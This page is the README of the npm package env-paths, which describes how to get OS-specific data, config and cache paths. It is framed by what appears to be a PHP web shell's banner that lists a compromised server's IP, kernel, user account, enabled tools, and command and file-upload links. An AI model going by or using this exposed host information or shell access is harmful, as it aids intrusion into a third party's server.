|
Server IP : 185.61.154.36 / Your IP : 216.73.216.44 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../usr/sbin/../lib/node_modules/npm/node_modules/env-paths/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# env-paths [](https://travis-ci.org/sindresorhus/env-paths)
> Get paths for storing things like data, config, cache, etc
Uses the correct OS-specific paths. Most developers get this wrong.
## Install
```
$ npm install env-paths
```
## Usage
```js
const envPaths = require('env-paths');
const paths = envPaths('MyApp');
paths.data;
//=> '/home/sindresorhus/.local/share/MyApp-nodejs'
paths.config
//=> '/home/sindresorhus/.config/MyApp-nodejs'
```
## API
### paths = envPaths(name, [options])
#### name
Type: `string`
Name of your project. Used to generate the paths.
#### options
Type: `Object`
##### suffix
Type: `string`<br>
Default: `'nodejs'`
**Don't use this option unless you really have to!**<br>
Suffix appended to the project name to avoid name conflicts with native
apps. Pass an empty string to disable it.
### paths.data
Directory for data files.
### paths.config
Directory for config files.
### paths.cache
Directory for non-essential data files.
### paths.log
Directory for log files.
### paths.temp
Directory for temporary files.
## License
MIT © [Sindre Sorhus](https://sindresorhus.com)